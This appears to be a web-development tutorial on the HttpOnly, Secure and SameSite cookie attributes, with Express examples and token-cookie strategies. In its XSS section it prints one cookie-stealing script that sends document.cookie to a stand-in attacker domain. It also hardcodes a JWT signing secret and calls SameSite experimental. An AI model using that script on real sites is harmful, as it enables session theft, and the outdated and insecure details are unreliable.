When developing web applications, cookies are essential tools for storing user data and managing sessions. However, cookies can pose security risks if not managed properly, which is why they have attributes like HttpOnly, Secure, and SameSite.
In this article, we'll explore the roles and importance of these three attributes, and how to configure them with practical examples.
HttpOnly Attribute
The HttpOnly
attribute restricts access to cookies from client-side scripts. When this attribute is set, cookies are only sent to the server via HTTP/HTTPS requests.
Server Configuration Example
// Node.js (Express) example
res.cookie('sessionID', 'sanghyeon', { httpOnly: true });
The header is set as follows:
# Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
Set-Cookie: sessionId=sanghyeon; HttpOnly
Regular cookies can be accessed by client-side scripts as follows:
// Set-Cookie: normalCookie=thisisvisible; Path=/
// JavaScript In Client
console.log(document.cookie); // "normalCookie=thisisvisible"
However, cookies with HttpOnly settings cannot be accessed by client-side scripts.
// Set-Cookie: secureSessionId=thiisnotvisible; HttpOnly; Path=/
// JavaScript In Client
console.log(document.cookie); // "normalCookie=thisisvisible" (HttpOnly cookie is not visible)
Preventing XSS with HttpOnly
Cookies are commonly used to authenticate user sessions on the web. XSS (Cross-Site Scripting) attacks can insert malicious scripts into websites to steal user cookies (e.g., session IDs).
For example, a malicious user could execute a script like this:
new Image().src =
"http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
By setting HttpOnly, attackers cannot access cookies via JavaScript, reducing threats like session hijacking.
Secure Attribute
Even if client access is blocked via HttpOnly, cookies can still be intercepted through man-in-the-middle attacks when communicating over HTTP. The Secure attribute ensures cookies are only transmitted over encrypted HTTPS connections, reducing this risk.
Server Configuration Example
// Node.js (Express) example
res.cookie('sessionID', 'sanghyeon', { secure: true });
The header is set as follows:
# Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: sessionId=sanghyeon; Secure
Warning
The Secure
attribute doesn't encrypt the cookie itself; it only restricts transmission to encrypted (HTTPS) connections. Therefore, even with Secure set, sensitive information (passwords, credit cards, personal identifiers, etc.) should never be stored in cookies, as this option doesn't provide perfect security.
SameSite Attribute
The SameSite
attribute controls how cookies are sent with cross-site requests. This helps prevent CSRF (Cross-Site Request Forgery) attacks and unwanted information leakage. As of writing this article (April 2025), this attribute is still experimental and not supported by all browsers.
Server Configuration Example
res.cookie('sessionId', 'sanghyeon', { sameSite: 'lax' }); // Default (Chrome 80+)
The header is set as follows:
Set-Cookie: sessionId=sanghyeon; SameSite=Lax
How It Works
The SameSite
attribute determines which types of requests (same-site vs. cross-site) can include cookies. It can have three values:
Strict
: The most stringent setting. Cookies are only included in requests originating from the same site as the current website. Cookies are not sent for requests initiated from external sites, such as clicking links to enter the site.Lax
(Default): Slightly more relaxed thanStrict
. It behaves the same asStrict
by default, but cookies are sent when navigating to the site via external links or GET requests.None
: Cookies are sent for both same-site and cross-site requests. However, to useSameSite=None
, theSecure
attribute must also be set, meaning it only works with HTTPS connections. This is mainly needed for external service integration, ad tracking, or other cases where cookies must be used in cross-site contexts.
Cookie Management Strategies for Authentication
1. Dual Cookie Strategy: Ensuring Both Security and Accessibility
If you need browser access to cookies while maintaining security, you can use a strategy with two types of cookies:
// server side
// 1. authentication token (HttpOnly)
res.cookie('authToken', 'abc123.token.xyz789', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
// 2. state for ui (accessible in javascript)
res.cookie('userInfo', JSON.stringify({
isLoggedIn: true,
username: 'username',
role: 'user'
}));
- Protect the actual authentication token with HttpOnly cookies
- Allow JavaScript access to information needed for UI with regular cookies
2. Safe Use of JWT and Cookies
Storing JWTs in HttpOnly cookies is safer than in local storage.
const token = jwt.sign({ userId: user.id }, 'secret_key', { expiresIn: '1h' });
res.cookie('jwt', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000 // 1 hour
});
3. Token Lifetime Management and Refresh Strategy
To enhance security, you can combine short-lived access tokens with long-lived refresh tokens:
// access token (short lifetime)
res.cookie('accessToken', accessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 900000 // 15 minutes
});
// refresh token (long lifetime)
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/api/refresh',
maxAge: 7 * 24 * 60 * 60 * 1000 // 7 days
});
- Access tokens expire quickly if intercepted
- Refresh tokens are limited to specific API paths to minimize exposure
- Periodic token renewal enhances security
Conclusion
Cookies are essential elements for user authentication and session management on the web. As we've seen in this article, properly using HttpOnly, Secure, and SameSite attributes can protect against various attacks like XSS, CSRF, and session hijacking.
As web developers, we have a responsibility to protect user data and privacy, so let's understand and properly use cookie security attributes!